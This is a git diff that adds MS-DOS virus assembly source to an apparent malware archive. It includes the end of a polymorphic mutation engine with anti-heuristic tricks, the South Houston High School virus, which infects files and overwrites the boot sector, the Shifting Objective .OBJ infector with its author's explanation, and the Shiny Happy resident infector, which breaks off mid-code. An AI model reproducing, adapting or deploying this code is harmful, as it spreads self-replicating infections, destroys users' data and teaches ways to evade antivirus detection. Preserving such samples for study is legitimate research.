ds:[offset mirror1 - Emme11 + bx] + mov byte ptr ds:[si],al + sub bx,bp + neg bx + add bx,bp + mov al,byte ptr ds:[offset mirror1 - Emme11 + bx + 2] + mov byte ptr ds:[bp+offset encryptor-Emme11+2],al + + call rnd + + and bl,1 + add bx,bp + mov al,byte ptr ds:[offset mirror2 - Emme11 + bx] + add byte ptr ds:[si+5],al + add al,3 + mov byte ptr ds:[bp+offset encryptor-Emme11+6],al + +;----------------------------------------------------- +; To copy rest of decryptor +;----------------------------------------------------- + movsw + call make + movsb + call make + movsb + call make + movsw + in al,40h + mov byte ptr ds:[bp+offset encryptor - Emme11 + 7],al + stosb + inc si + call make + movsw + mov ax,0FFh + sub ax,di + pop bx + add ax,bx ; BYTE for JNZ instruction + stosb + call make + + pop si + mov ax,word ptr ds:[SaveOff] + add ax,di + mov word ptr es:[si],ax ; Offset of crypted code + + + mov cx,CrLen + mov bx,0FFFFh + pop si +encryptor: + movsw + xor word ptr es:[di-2],bx + sub bx,0 + loop encryptor + + ret + +makeini: + mov byte ptr ds:[bp+offset Reg - Emme11],10h +make: +;----------------------- +; Makes from 1 up to 8 +; bytes of garbage code +;----------------------- + in ax,40h + and ax,00000111b + inc ax ; Number of bytes + mov dx,ax +poly: + push dx +;------------------------------------ +; Generate 1-byte command +;------------------------------------ +form_1: + call rnd + + add bx,bp + mov al,byte ptr ds:[bx+offset data_1-Emme11] +good_1: + stosb + dec dx +form_2: +;------------------------------------- +; Generate 2-bytes command +;------------------------------------- + cmp dx,2 + jb PolyStop + + call rnd + call _free + jnz form_3 + + mov al,8 + mul bl + add al,0C0h + push ax + call rnd + pop ax + add al,bl + xchg ah,al + + add bx,bp + mov al,byte ptr ds:[bx+offset data_2-Emme11] + stosw + dec dx + dec dx +form_3: +;------------------------------------- +; Generate 3-bytes command +;------------------------------------- + cmp dx,3 + jb PolyStop + + call _form + jnz form_4 + mov al,83h + stosw + in al,40h + stosb + sub dx,3 +form_4: +;------------------------------------- +; Generate 4-bytes command +;------------------------------------- + cmp dx,4 + jb PolyStop + + call _form + jnz PolyStop + mov al,81h + stosw + in ax,40h + xor ax,di + stosw + sub dx,4 +PolyStop: + or dx,dx + jnz form_1 + + pop dx + + ret + +ZeroTwo: + call rnd + mov ax,bx + mov bl,3 + div bl + mov bl,ah + add bx,bp + ret + +;----------------------------------------------------------------- +Reg db 10h ; This byte is to mark registers + ; involved in decryptor. + ; 10h means don't use SP as a garbage + ; register ;) +;----------------------------------------------------------------- +; Data for polymorphic engine +;----------------------------------------------------------------- + data_1 db 0f5h,0f8h,0f9h,0fbh,0fch,0fdh,09eh,090h + data_2 db 03h,0bh,013h,01bh,023h,02bh,033h,085h +pack_1: + mov_reg1 db 0beh,0bfh,0bbh + xor_reg1 db 04h,05h,07h + inc_reg1 db 046h,047h,043h +operations: + mirror1 db 01h,031h,029h + mirror2 db 0c0h,0e8h +;--------------------------------------------------------------------- +db 'EMME Small 1.1' ; Small Eternal Maverick Mutation Engine +;--------------------------------------------------------------------- +_form proc near + call rnd + and al,03Fh + add al,0C0h + xchg al,ah +_free: + push bx + push cx + mov cl,bl + mov bl,1 + shl bl,cl + test byte ptr ds:[bp+offset Reg-Emme11],bl + jmp short popcxbx +f_reg: + call rnd + call _free + jnz f_reg + mov al,0B8h + add al,bl + stosb +_fill: + push bx + push cx + mov cl,bl + mov bl,1 + shl bl,cl + add byte ptr ds:[bp+offset Reg-Emme11],bl +popcxbx: + pop cx + pop bx + ret +_form endp + +rnd: +;--------------------------- +; A bad way for getting a +; random number +;--------------------------- + push dx + in ax,[40h] + add ax,word ptr ds:[bp+offset Seed-Emme11] + mov dx,25173 + mul dx + add ax,13849 + pop dx + mov word ptr ds:[bp+offset Seed-Emme11],ax + xor ax,word ptr ds:[bp+offset ForXor-Emme11] + mov bx,ax + and bx,7 + ret + +Seed dw 37849 +ForXor dw 559 + +;-------------------------------- +; Built-in anti-heuristic, +; bad against DrWeb, but good +; againt some other antiviruses +;-------------------------------- +anti: + xor ax,ax + in ax,40h + or ax,ax + int 20h + push cs + pop ds +;-------------------------------- +; Cryptor Pattern +;-------------------------------- +Pattern: + xor word ptr ds:[di],bx + inc di + inc di + sub bx,0 + inc cx + jnz Pattern +;---------------------------------------- +; End of Polymorphic Engine +;---------------------------------------- +bytes: +;---------------------------------------- +; Victim file header +;---------------------------------------- + db 10h dup (0) + dw offset vstack + dw 0 + dw offset endv + db 2 dup (0) +;----------------------------------------------------------------- + db 400h-18h dup (0) ; Rest of files' first 1024 bytes +;----------------------------------------------------------------- +NewBytes: + db 18h dup (0) ; New header for infected file +endcode: + db 10h dup (0) +buffer: + db 0900h dup (0) ; Buffer for crypting +SaveOff dw 0 ; Used in polymorphic engine +endv: + mov ah,4ch + int 21h +.stack + dw 16 dup (0) +vstack: + end start \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.sh.map b/MSDOS/Virus.MSDOS.Unknown.sh.map new file mode 100644 index 00000000..740ff446 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.sh.map @@ -0,0 +1,9 @@ + + Start Stop Length Name Class + + 00000H 0131FH 01320H _TEXT CODE + 01320H 01320H 00000H _DATA DATA + 01320H 0171FH 00400H STACK STACK + +Program entry point at 0000:0000 + diff --git a/MSDOS/Virus.MSDOS.Unknown.shellt.asm b/MSDOS/Virus.MSDOS.Unknown.shellt.asm new file mode 100644 index 00000000..5d44192e --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.shellt.asm @@ -0,0 +1,19 @@ +;assembly language shell for a simple COM file program + + +MAIN SEGMENT BYTE + ASSUME CS:MAIN,DS:MAIN,SS:NOTHING + + ORG 100H + +START: + +FINISH: mov ah,4CH + mov al,0 + int 21H ;terminate normally with DOS + +MAIN ENDS + + + END START + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.shhs.asm b/MSDOS/Virus.MSDOS.Unknown.shhs.asm new file mode 100644 index 00000000..caae806b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.shhs.asm @@ -0,0 +1,239 @@ +; Source code to South Houston High School virus ; + +codeseg segment + assume cs:codeseg, ds:codeseg + org 100h + +cr equ 13 +lf equ 10 +tab equ 9 + +start: + call encrypt_decrypt + jmp random_mutation +encrypt_val db 0 + +infect_file: + mov bx,handle ; (648C:01F2=0) + push bx ; Save handle + call encrypt_decrypt ; encrypt code + pop bx ; Restore handle + mov cx,offset eof-offset start ; Length of code + mov dx,offset start ; Start of code + mov ah,40h ; Write to handle BX + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + call encrypt_decrypt ; decrypt code + mov al,encrypt_val ; AL= code # + add al,13 ; add 13 + adc al,0 ; plus carry + mov encrypt_val,al ; save new value + ret ; Return + + +encrypt_decrypt: + mov bx,offset encrypted ; offset of encrypted + ; code in memory + mov al,encrypt_val ; encryption value + or al,al ; 0 ? + jz skipcryptor ; Don't waste time +xor_loop: xor byte ptr [bx],al ; modify byte + inc bx ; next byte, please + add al,bh ; adjust encryption key + cmp bx,offset eof ; are we done yet? + jle xor_loop ; Nope, keep goin' +skipcryptor: ret ; Yep, bye bye! + + + +; The code from here on is encrypted until run-time (except in the case of a +; first-run copy). + + +encrypted: + + +exe_filespec db '*.EXE',0 +com_filespec db '*.COM',0 +newdir db '..',0 +fake_msg db 'Program too big to fit in memory',cr,lf,'$' +virus_msg db cr,lf,tab,'I',39,'m sorry, Dave... but ' + db 'I',39,'m afraid I can',39,'t do that!',cr,lf,cr,lf + db cr,lf,tab,'Dedicated to the dudes at SHHS' + db cr,lf,tab,'The BOOT SECTOR Infector ...',cr,lf,'$' + +random_mutation: mov si,offset fname ; point to fname + mov di,offset tfname ; point to tfname + mov cx,13 ; 13 chars + rep movsb ; copy the string + + cmp byte ptr encrypt_val,0 ; encryption value + je install_val ; Jump if equal + mov ah,2Ch ; Get time + int 21h ; Call DOS to ^ + cmp dh,55 ; more than 55 seconds? + jg find_extension ; Yes: don't mutate + +install_val: or dl,dl ; DL = 0 ? + jnz skipmutation ; No need to mutate +skipmutation: mov encrypt_val,dl ; save code number + +find_extension: mov byte ptr files_found,0 ; Haven't found any yet + mov byte ptr files_infected,3 ; No more than 3 files + mov byte ptr success,0 ; No successful tries + +find_exe: mov cx,27h ; attr: R/O,HID,SYS,ARC + mov dx,offset exe_filespec ; point to '*.EXE',0 + mov ah,4Eh ; Find first + int 21h ; DOS Services + + jc find_com ; No more? Find EXE + call find_healthy ; Find a healthy file + +find_com: mov cx,27h ; attr: R/O,HID,SYS,ARC + mov dx,offset com_filespec ; point to '*.COM',0 + mov ah,4Eh ; Find first match + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jc chdir ; No more? CD .. + call find_healthy ; Start over + +chdir: mov dx,offset newdir ; point to '..',0 + mov ah,3Bh ; CHDIR .. + int 21h ; DOS Services + jnc find_exe ; Look for EXEs + jmp exit_virus ; + +find_healthy: mov bx,80h ; points at DTA + mov ax,[bx+15h] ; original attribute + mov orig_attr,ax ; ^ + mov ax,[bx+16h] ; original time stamp + mov orig_time,ax ; ^ + mov ax,[bx+18h] ; original date stamp + mov orig_date,ax ; ^ + mov dx,9Eh ; filename + xor cx,cx ; zero out attributes + mov ax,4301h ; set attribute + int 21h ; DOS Services + + mov ax,3D02h ; Open file read&write + int 21h ; DOS Services + mov handle,ax ; save file handle + mov bx,ax ; place ^ in BX + mov cx,20 ; read in 20 chars + mov dx,offset compare_buff ; Points to buffer + mov ah,3Fh ; Read file + int 21h ; DOS Services + + mov bx,offset compare_buff ; Points to buffer + mov ah,encrypt_val ; Encryption value + mov [bx+offset encrypt_val-100h],ah ; Fill in the blank + mov si,100h ; Point to code's start + mov di,offset compare_buff ; Point to buffer + + repe cmpsb ; Compare buff to code + jne healthy ; Didn't match, jump... + + call close_file ; Close the file + inc byte ptr files_found ; Found one! +continue_search: mov ah,4Fh ; Find next + int 21h ; DOS Services + jnc find_healthy ; Find more +no_more_found: ret ; RETurn + +healthy: mov bx,handle ; (648C:01F2=0) + mov ah,3Eh ; Close file + int 21h ; DOS Services + + mov ax,3D02h ; Open file read&write + mov dx,9Eh ; Filename is .... + int 21h ; DOS Services + + mov si,dx ; Point to filename + mov di,offset fname ; Point to fname + mov cx,13 ; Copy 13 chars + rep movsb ; Copy filename + + mov handle,ax ; save handle + call infect_file ; infect file + call close_file ; close file + inc byte ptr success ; Success!!! + dec byte ptr files_infected ; We got one! + jz exit_virus ; Jump if zero + jmp short continue_search ; Continue the search + +close_file: mov bx,handle ; get handle + mov cx,orig_time ; get original time + mov dx,orig_date ; get original date + + mov ax,5701h ; set date/time stamp + int 21h ; DOS Services + + mov ah,3Eh ; close file + int 21h ; DOS Services + + mov cx,orig_attr ; get original attrib + mov ax,4301h ; get/set attribute + mov dx,9Eh ; point to filename + int 21h ; DOS Services + ret ; RETurn + +exit_virus: cmp byte ptr files_found,8 ; Found at least 8? + jl print_fake ; No, keep low profile + cmp byte ptr success,0 ; Got anything? + jg print_fake ; Yep, cover it up + + mov ah,9 ; Print string + mov dx,offset virus_msg ; Point to virus msg + int 21h ; DOS Services + + mov ah,19h ; Get current disk + int 21h ; Call DOS to ^ + + mov si,offset tfname ; Point to tfname + mov di,offset fname ; Point to fname + mov cx,13 ; Copy 13 chars + rep movsb ; Copy filename + + mov bx,offset kbstr ; BX points to message + xor dx,dx ; Start at boot sector + mov cx,35 ; 35 sectors + int 26h ; Absolute disk write, drive al + jmp short terminate ; End of the line! + +print_fake: mov ah,9 ; Print string + mov dx,offset fake_msg ; DX points to fake msg + int 21h ; DOS Services + +terminate: + mov ax,305h ; Set typematic rate + mov bx,31Fh ; Long delay, fast reps + int 16h ; Keyboard i/o call ^^ + int 20h ; Terminate process + +kbstr: db 'Killed by: ' ;Killed by +fname: db '1st run copy',0 ;13 spaces for filename +ekbstr: db '$' ;Terminator for string + +eof: + +;These variables are for temporary use only and are therefore excluded from +;encryption and writing to the disk (this saves time and space). + +compare_buff db 20 dup (?) +files_found db ? +files_infected db ? +orig_time dw ? +orig_date dw ? +orig_attr dw ? +handle dw ? +success db ? + +tfname: db 13 dup (?) + +codeseg ends + + + + end start + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.shiftobj.asm b/MSDOS/Virus.MSDOS.Unknown.shiftobj.asm new file mode 100644 index 00000000..4b83176d --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.shiftobj.asm @@ -0,0 +1,452 @@ +From netcom.com!ix.netcom.com!howland.reston.ans.net!gatech!bloom-beacon.mit.edu!news.media.mit.edu!tmok.res.wpi.edu!halflife Sat Jan 14 12:23:41 1995 +Xref: netcom.com alt.comp.virus:1000 +Newsgroups: alt.comp.virus +Path: netcom.com!ix.netcom.com!howland.reston.ans.net!gatech!bloom-beacon.mit.edu!news.media.mit.edu!tmok.res.wpi.edu!halflife +From: halflife@tmok.res.wpi.edu (Halflife) +Subject: shifting obj +Message-ID: +Lines: 437 +Sender: news@news.media.mit.edu (USENET News System) +Organization: MIT Media Laboratory +X-Newsreader: Trumpet for Windows [Version 1.0 Rev A] +Date: Fri, 13 Jan 1995 16:34:35 GMT +Lines: 437 + +;+----------------------------------------------------------------------+ +; Shifting Objective Virus 3.0 (c) 1994 Stormbringer [Phalcon/Skism] +; +; Memory Resident .OBJ Infector - No TBSCAN Flags, No F-Prot Alarms! +; +; This virus breaks new bounds in viral technology, best I know }-) +;It infects .OBJ files that are set up to compile to simple, stand- +;alone .COM's. The basic theory for this is the following: It takes +;the pre-set compiling points of the modules in the .OBJ and moves them +;up in memory so Objective will have room to insert itself underneath. +;When the file is compiled the virus is at the beginning of the file, +;and the original code follows BUT - the original code's memory offsets +;are what they were BEFORE the virus infected the .OBJ. Therefore, all +;Objective has to do when it runs is go memory resident, and shift the +;host code back down to where it starts at 100h in memory, and all is +;well. +; +; Object files are basically a set of linked lists or fields, each +;with a three byte header. The first byte is it's identity byte, while +;the following word is the size of the field - header. The very last +;byte of each record is a simple checksum byte - this can be gained +;simply by adding up all of the bytes in the field save the three byte +;header and taking the negative (not reg/inc reg) so that the entire +;field value + checksum = 0. Each field type has it's own identity +;value, but we are only concerned with a few right now. +; +;They are as follows: +; 80h - Starting field of a .OBJ file +; 8Ch - External definitions +; 8Ah - Ending field of a .OBJ file +; A0h - Regular Code +; A2h - Compressed code (patterns/reiterated stuff) +; +; In the A0h and A2h types of fields, there is one more thing that +;concerns us - the three bytes after the field size in the header +;are indicators of the location in memory the code will be at - the +;second and third byte form the word we will be concerned with, which +;is a simple offset from CS:0000 that the code will begin. Since we +;are dealing with .COM files and want to put our virus at the beginning +;of the file, we set the position field of the virus to 100h and the +;positions of all the other A0h and A2h fields to their old position +;plus the virus size. When the file is compiled, the virus will be +;at the beginning and the host will follow. Attaching the virus to +;the .OBJ itself is simple enough - just save the 8Ah field in memory, +;and write FROM IT'S OLD BEGINNING a header for your virus, your +;virus, then a checksum and the old 8Ah field. At all times when +;modifying fields, the checksums must be fixed afterwards. +; +; For the rest of the techniques that may be useful, I suggest you +;look at the following code for my Shifting Objective Virus. I'd like +;to thank The Nightmare for his ideas on this when we sat around bored +;those days. Greets go out to all of Phalcon/Skism, Urnst Kouch, +;Mark Ludwig, TridenT, NuKE, and the rest of the viral community. +;A special hello goes to Hermanni and Frisk. +; +; - Stormbringer [P/S] +; --------------------- +; - +;+----------------------------------------------------------------------+ +.model tiny +.radix 16 +.code + org 100 +start: + push ds + sub ax,ax + mov ds,ax + mov ax,word ptr ds:[84] + mov word ptr cs:[Fake21IP],ax + mov ax,word ptr ds:[86] + mov word ptr cs:[Fake21CS],ax + mov ax,word ptr ds:[2f*4] + mov word ptr cs:[Fake2fIP],ax + mov ax,word ptr ds:[2f*4+2] + mov word ptr cs:[Fake2fCS],ax + pop ds + +CheckIfResident: + mov ax,0feadh ;Check if we are in memory + call fake21 + cmp ax,0d00dh + jne ReserveMemory ;Nope, go resident + + xor ax,ax + mov ds,ax + jmp RestoreFile ;Yep, skip it + +ReserveMemory: + mov ax,ds + dec ax ;Go to MCB's + mov ds,ax + sub word ptr ds:[3],80 ;Grab 2K from this MCB + sub word ptr ds:[12],80 ;And from the Top of MEM in PSP + xor ax,ax + mov ds,ax ;We're gonna take up 2k in memory. + sub word ptr ds:[413],2 ;Reserve 2k from bios + int 12h ;Get bios memory amount in K + mov cl,6 + shl ax,cl + +PutVirusInMemory: + push cs + pop ds + sub ax,10 ;NewSeg:0 was in AX, now Newseg:100 + mov es,ax ;is start of reserved memory field.... + mov di,100 + mov si,100 + mov cx,end_prog-start + repnz movsb ;Copy virus into memory + +HookInterrupts: + xor ax,ax + mov ds,ax ;Hook Int 21h directly using + cli ;Interrupt table + mov ax,offset Int21 + xchg word ptr ds:[84],ax + mov word ptr es:[IP_21],ax + mov ax,es + xchg word ptr ds:[86],ax + mov word ptr es:[CS_21],ax + sti + + +RestoreFile: + push cs + pop es + mov ax,0deadh ;Call interrupt handler to restore file + + pushf + call dword ptr ds:[84] + + mov ax,4c01 ;Terminate if restore unsuccessful + call fake21 + +InstallCHeck: + mov ax,0d00dh ;Tell prog we're already here + iret + +Int21: + cmp ax,0feadh + je InstallCheck ;Is it an install check? + cmp ax,0deadh + je RestoreHost ;Or a restoration request? + cmp ah,3e + jz fileclose ;Fileclose - go infect it if it's an .OBJ +GoInt21: + db 0ea ;Jump back into int 21h handler +IP_21 dw 0 +CS_21 dw 0 + +RestoreHost: + push es + pop ds + + mov di,sp ;Set iret to return to beginning of code + mov [di],100 + + mov di,100 + mov si,offset Host ;Shift host back down over virus in memory + mov cx,0f000 + repnz movsb + + mov si,ax + xor ax,ax + mov bx,ax ;Set registers as if just executing + mov cx,ax + mov dx,ax + mov di,ax + iret ;Iret back into the host file + +fileclose: + pushf + push ax bx cx dx es ds si di bp + xor ax,ax + xor ax,1220h + call fake2f + push bx + mov bl,byte ptr es:[di] ;Good ol' SFT trick + mov ax,1216h + call fake2f + or word ptr es:[di+2],2 ;Set file Read/Write + add di,28 + pop bx + cmp byte ptr es:[di+2],'J' ;Check out filename + jne Done_Close + cmp word ptr es:[di],'BO' + jne Done_Close + mov word ptr cs:[Host_Handle],bx + + mov ax,5700 ;Save date/time stamp + call fake21 + push cx dx + call Infect_Obj ;go infect it + pop dx cx + mov ax,5701 ;Restore date/time stamp + call fake21 + + Done_Close: + pop bp di si ds es dx cx bx ax ;Exit and chain into int 21h + popf + jmp GoInt21 + +Isanexec: + push dx + GetAndSaveCurLoc: + mov ax,4201 ;Save position of current module + xor cx,cx + xor dx,dx + call fake21 + push dx ax + ModExecStartingPoint: + ReadOldStartingPoint: + mov ah,3f + mov dx,offset startingpt ;Read starting point + mov cx,3 + call fake21 + mov ax,word ptr [startingpt+1] + cmp byte ptr firstexec,0 ;Check if this is the first exec field + jne NotFirstExec + + ;If so, it should have a starting + ;point of 100h for a .COM for us + ;to infect it correctly + +CheckifwillbeCOMfile: ;we're assuming that anything with + mov byte ptr firstexec,1 ;a starting point of cs:100h will be + ;a com. while this isn't true all + ;the time, we can cross our fingers.. + cmp ax,100 + je NotFirstExec ;File is good, continue infection. + +Getouttahere: + pop ax ax ax ;won't be a .com file - don't infect. + ret + +NotFirstExec: ;Either it isn't first exec or the + mov cx,end_prog-start ;check was good.. now add virus size + add ax,cx ;to exec starting point. + mov word ptr [startingpt+1],ax + GoBackToStartingPointinfo: + pop dx cx + push cx dx + mov ax,4200 ;go back to starting point field + call fake21 + AndWriteIt: + mov ah,41 + dec ah + mov cx,3 + mov dx,offset startingpt ;and save it + call fake21 + +GoToChecksumField: + mov dx,fieldsize + sub dx,4 + xor cx,cx ;go to checksum field + mov ax,4201 + call fake21 + ResetExecChecksum: + mov ah,3f + mov dx,offset Checksum ;read checksum field + mov cx,1 + call fake21 + mov cx,-1 + mov dx,-1 ;go back to checksum field in file + mov ax,4201 + call fake21 + mov cx,(end_prog-start) + sub Checksum,ch ;modify checksum to account for + sub Checksum,cl ;our change to starting point field. + mov ah,41 + mov dx,offset Checksum ;and write it + mov cx,1 + dec ah + call fake21 + DoneIsExec: + pop dx cx + mov ax,4200 ;Restore original file pointer + call fake21 + pop dx + jmp NExtfield ;and continue with infection + +startingpt db 0,0,0 +firstexec db 0 + +anexec: + jmp isanexec + +Bailout: + ret + +Infect_Obj: + push cs cs + pop es ds + mov firstexec,0 ;Init first exec field + call go_bof ;Go to beginning of file + + ModExecFields: + call ReadHeader ;read the three byte header, field size in DX + ;Header type in AL + + cmp al,8c ;External module + je bailout ;It has external calls, which we can't + ;handle yet :( + + cmp al,0a0 ;Executable module + je anexec + + cmp al,0a2 ;Reiterated executable module + je anexec + + cmp al,8a ;Ending module + je DoneModExecs + + NextField: + mov ax,4201 ;Go to the next field + xor cx,cx + call fake21 + jmp ModExecFields + +DoneModExecs: + mov ax,4201 + mov cx,-1 + mov dx,-3 ;go to start of 8A field (end module) + call fake21 + + push dx ax + + mov cx,fieldsize + add cx,3+10 ;the +10 is just to be safe + mov ah,3f ;load in last module + mov dx,offset buffer + call fake21 + mov endfieldsize,ax ;Read in the end module + + pop dx cx + mov ax,4200 ;Go back to the beginning of the module + call fake21 ;now that we have it in memory + +WriteOurHeader: + mov ah,3f + mov cx,endheader-ourheader ;write the header for virus module + mov dx,offset ourheader + inc ah + call fake21 + +WriteVirus: + mov ah,3f + mov cx,end_prog-start ;write virus to file + mov dx,100 + inc ah + call fake21 + +CreateChecksum: + mov si,100 + mov cx,end_prog-start + xor ax,ax + AddupChecksum: ;Create checksum for virus + lodsb + add ah,al + loop AddupChecksum + not ah + inc ah + mov Checksum,ah + + WriteChecksum: + mov dx,offset Checksum + mov cx,1 + mov ah,3f + inc ah + call fake21 ;Then save the checksum in module + +WriteEndModule: + mov dx,offset Buffer + mov cx,endfieldsize + mov ah,3f + inc ah + call fake21 ;And put the ending module back into + ret ;place.... we're done. + + +ReadHEader: + mov ah,3f + mov dx,offset fieldheader + mov cx,3 ;Read module header for .obj files + call fake21 ;save module type in AL and + mov al,fieldheader ;module size in DX + mov dx,fieldsize + ret + + +Go_Bof: ;Go to beginning of file + mov al,0 + jmp short movefp +Go_Eof: ;Go to the end of the file + mov al,02 +movefp: ;Or just move the File pointer + xor cx,cx + xor dx,dx + mov ah,42 + call fake21 + ret + +fake21: + pushf + db 9a +fake21IP dw 0 +fake21CS dw 0 + ret + +fake2f: + pushf + db 9a +fake2fIP dw 0 +fake2fCS dw 0 + ret + +Credits: +db 'Shifting Objective Virus 3.0 (c) 1994 Stormbringer [Phalcon/Skism]' +db 'Kudos go to The Nightmare!' +OurHeader: + db 0A0 + dw (end_prog-start+4) ;our size in an .OBJ file + db 1 + db 0 ;starting position (cs:100h) + db 1 +endheader: + +endfieldsize dw 0 +Checksum db 0 +fieldheader db 0 + fieldsize dw 0 +Host_Handle dw 0 +end_prog: +Buffer: +Host db 90,90,90,90,90,90,90,90,0cdh,20 +end start + + diff --git a/MSDOS/Virus.MSDOS.Unknown.shinyhap.asm b/MSDOS/Virus.MSDOS.Unknown.shinyhap.asm new file mode 100644 index 00000000..222e7714 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.shinyhap.asm @@ -0,0 +1,543 @@ +; The Shiny Happy Virus +; By Hellraiser and Dark Angel of Phalcon/Skism + + .model tiny + .code + +id = '52' +timeid = 18h + +shiny: + call next +next: pop bp + + push ds + push es + + xor di,di + mov ds,di + cmp word ptr ds:[1*4],offset int1_2 ; installation check + jz return + + mov ax,es + dec ax + sub word ptr ds:[413h],(endheap-shiny+1023)/1024 + mov ds,ax + sub word ptr ds:[3],((endheap-shiny+1023)/1024)*64 + sub word ptr ds:[12h],((endheap-shiny+1023)/1024)*64 + mov es,word ptr ds:[12h] + + push cs + pop ds + + lea si,[bp+shiny-next] + mov cx,(endheap-shiny+1)/2 + rep movsw + + push cs + lea ax,[bp+return-next] + push ax + + push es + mov ax,offset highentry + push ax + retf + +return: + cmp sp,id-4 + jz returnEXE +returnCOM: + pop es + pop ds + mov di,100h + push di + lea si,[bp+offset save3-next] + movsw + movsb + retn + +returnEXE: + pop es + pop ds + mov ax,es + add ax,10h + add word ptr cs:[bp+origCSIP+2-next],ax + cli + add ax,word ptr cs:[bp+origSPSS-next] + mov ss,ax + mov sp,word ptr cs:[bp+origSPSS+2-next] + sti + db 0eah +origCSIP db ? +save3 db 0cdh,20h,0 +origSPSS dd ? + +highentry: + mov cs:in21flag,0 + + xor ax,ax + mov ds,ax + + les ax,ds:[9*4] + mov word ptr cs:oldint9,ax + mov word ptr cs:oldint9+2,es + + mov ds:[9*4],offset int9 + mov ds:[9*4+2],cs + + les ax,ds:[21h*4] + mov word ptr cs:oldint21,ax + mov word ptr cs:oldint21+2,es + + mov word ptr ds:[1*4],offset int1 + mov ds:[1*4+2],cs + + mov ah, 52h + int 21h + mov ax,es:[bx-2] + mov word ptr cs:tunnel21+2, ax + mov word ptr cs:dosseg_, es + + pushf + pop ax + or ah,1 + push ax + popf + + mov ah,0bh + pushf + db 09Ah +oldint21 dd ? + + mov word ptr ds:[3*4],offset int3 + mov ds:[3*4+2],cs + mov word ptr ds:[1*4],offset int1_2 + + les bx,cs:tunnel21 + mov al,0CCh + xchg al,byte ptr es:[bx] + mov byte ptr cs:save1,al + retf + +authors db 'Shiny Happy Virus by Hellraiser and Dark Angel of Phalcon/Skism',0 + +int1: push bp + mov bp,sp + push ax + + mov ax, [bp+4] + cmp ax,word ptr cs:tunnel21+2 + jb foundint21 + db 3dh ; cmp ax, xxxx +dosseg_ dw ? + ja exitint1 +foundint21: + mov word ptr cs:tunnel21+2,ax + mov ax,[bp+2] + mov word ptr cs:tunnel21,ax + and byte ptr [bp+7], 0FEh +exitint1: + pop ax + pop bp + iret + +int1_2: push bp + mov bp,sp + push ax + + mov ax, [bp+4] + cmp ax,word ptr cs:tunnel21+2 + ja exitint1_2 + mov ax, [bp+2] + cmp ax,word ptr cs:tunnel21 + jbe exitint1_2 + + push ds + push bx + lds bx,cs:tunnel21 + mov byte ptr ds:[bx],0CCh + pop bx + pop ds + + and byte ptr [bp+7],0FEh +exitint1_2: + pop ax + pop bp + iret + +infect_others: + mov ax,4301h + push ax + push ds + push dx + xor cx,cx + call callint21 + + mov ax,3d02h + call callint21 + xchg ax,bx + + mov ax,5700h + call callint21 + push cx + push dx + + mov ah,3fh + mov cx,1ah + push cs + pop ds + push cs + pop es + mov dx,offset readbuffer + call callint21 + + mov ax,4202h + xor cx,cx + cwd + int 21h + + mov si,offset readbuffer + cmp word ptr [si],'ZM' + jnz checkCOM +checkEXE: + cmp word ptr [si+10h],id + jz goalreadyinfected + + mov di, offset OrigCSIP + mov si, offset readbuffer+14h + movsw + movsw + + sub si, 18h-0eh + movsw + movsw + + push bx + mov bx, word ptr readbuffer + 8 + mov cl, 4 + shl bx, cl + + push dx + push ax + + sub ax, bx + sbb dx, 0 + + mov cx, 10h + div cx + + mov word ptr readbuffer+14h, dx + mov word ptr readbuffer+16h, ax + + mov word ptr readbuffer+0Eh, ax + mov word ptr readbuffer+10h, id + + pop ax + pop dx + pop bx + + add ax, heap-shiny + adc dx, 0 + + mov cl, 9 + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 1 + + mov word ptr readbuffer+4, dx + mov word ptr readbuffer+2, ax + + mov cx,1ah + jmp short finishinfection +checkCOM: + xchg cx,ax + sub cx,heap-shiny+3 + cmp cx,word ptr [si+1] +goalreadyinfected: + jz alreadyinfected + add cx,heap-shiny + + push si + mov di,offset save3 + movsw + movsb + pop di + mov al,0e9h + stosb + mov ax,3 ; cx holds bytes to write + xchg ax,cx + stosw +finishinfection: + push cx + + mov ah,40h + mov cx,heap-shiny + cwd ; xor dx,dx + call callint21 + + mov ax,4200h + xor cx,cx + cwd + int 21h + + mov ah,40h + pop cx + mov dx,offset readbuffer + call callint21 + + mov ax,5701h + pop dx + pop cx + and cl,0E0h + or cl,timeid + call callint21 + jmp doneinfect + +alreadyinfected: + pop ax + pop ax +doneinfect: + mov ah,3eh + call callint21 + + pop dx + pop ds + pop ax + pop cx + call callint21 +exitexecute: + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + + jmp exitint21 + +execute: + pushf + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + + cld + + mov ax,4300h + call callint21 + jc exitexecute + push cx + + jmp infect_others + +int3: + push bp + mov bp,sp + + cmp cs:in21flag,0 + jnz leaveint21 + + inc cs:in21flag + + cmp ah,11h + jz findfirstnext + cmp ah,12h + jz findfirstnext + cmp ax,4b00h + jz execute + +exitint21: + dec cs:in21flag +leaveint21: + or byte ptr [bp+7],1 ; set trap flag upon return + dec word ptr [bp+2] ; decrement offset + call restoreint21 + pop bp + iret + +callint21: + pushf + call dword ptr cs:tunnel21 + ret + +restoreint21: + push ds + push ax + push bx + + lds bx,cs:tunnel21 + mov al,byte ptr cs:save1 + mov ds:[bx],al + + pop bx + pop ax + pop ds + + ret + +findfirstnext: + int 21h ; pre-chain interrupt + +; flags [bp+12] +; segment [bp+10] +; offset [bp+8] +; flags [bp+6] +; segment [bp+4] +; offset [bp+2] +; bp [bp] + pushf ; save results + pop [bp+6+6] + pop bp + + push ax + push bx + push ds + push es + + inc al + jz notDOS + + mov ah,51h ; Get active PSP + int 21h + mov es,bx + cmp bx,es:[16h] ; DOS calling it? + jne notDOS + + mov ah,2fh ; DTA -> ES:BX + int 21h + push es + pop ds + + cmp byte ptr [bx],0FFh + jnz regularFCB + add bx,7 +regularFCB: + cmp word ptr [bx+9],'OC' + jz checkinf + cmp word ptr [bx+9],'XE' + jnz notDOS +checkinf: + mov al,byte ptr [bx+23] + and al,1Fh + + 